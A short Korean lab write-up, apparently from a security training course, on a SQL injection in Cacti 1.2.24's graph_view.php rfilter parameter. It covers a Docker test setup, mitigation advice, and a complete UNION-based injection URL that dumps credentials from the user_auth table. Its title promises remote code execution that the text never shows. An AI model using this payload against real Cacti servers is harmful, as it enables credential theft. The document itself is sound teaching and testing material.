
Cacti 1.2.24의 graph_view.php에서 SQL 인젝션 취약점을 이용한 원격 코드 실행 개념 증명 익스플로잇, Docker 기반 실험실 설정 및 상세 페이로드 예제 포함.
[ WHS 3기 ] - 남기찬_7342 (ChoDeokCheol)
graph_view.php 파일의 grow_right_pane_tree 함수에 취약점이 존재.action 파라미터를 tree_content로 설정 시 사용자 입력값인 rfilter 파라미터가 존재.rfilter 파라미터는 html_validate_tree_vars 함수를 통해 검증은 되지만 해당 검증은 단순히 유효한 정규표현식인지 여부만 검사한다.rfilter 값을 SQL 쿼리 내 끼워넣으며 코드 삽입이 가능함.docker-compose -v를 통해 docker Compose 설치 유무와 버전 확인.docker compose up -d를 통해 PoC 환경 구축. (이미지: cacti:1.2.24)

해당 취약점은 인증 설정에서 일반 사용자(guest)도 graph를 확인할 수 있게 설정할 경우 발생한다.
해당 취약점은 다음과 같은 파라미터 입력으로 확인할 수 있다:
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
요청한 대로 응답을 준 것을 확인할 수 있다.
SQL injection 공격은 서버 상호작용 중 유저 입력을 받아들이며 주로 발생한다. 해당 SQL injection 공격으로 데이터베이스 내부 기밀성이 침해되었으며, 자산이 유출되는 결과를 확인할 수 있었다.
해당 SQL injection에 대한 조치로, rfilter에 기초적인 화이트리스트 값 검증을 체크하거나 (", ', ;, ...)같은 특수문자를 이스케이프 처리할 수 있다. 또는 DB 접근 시 Doctrine과 같은 ORM 라이브러리를 사용하는 식의 개선사항이 이루어질 수 있다.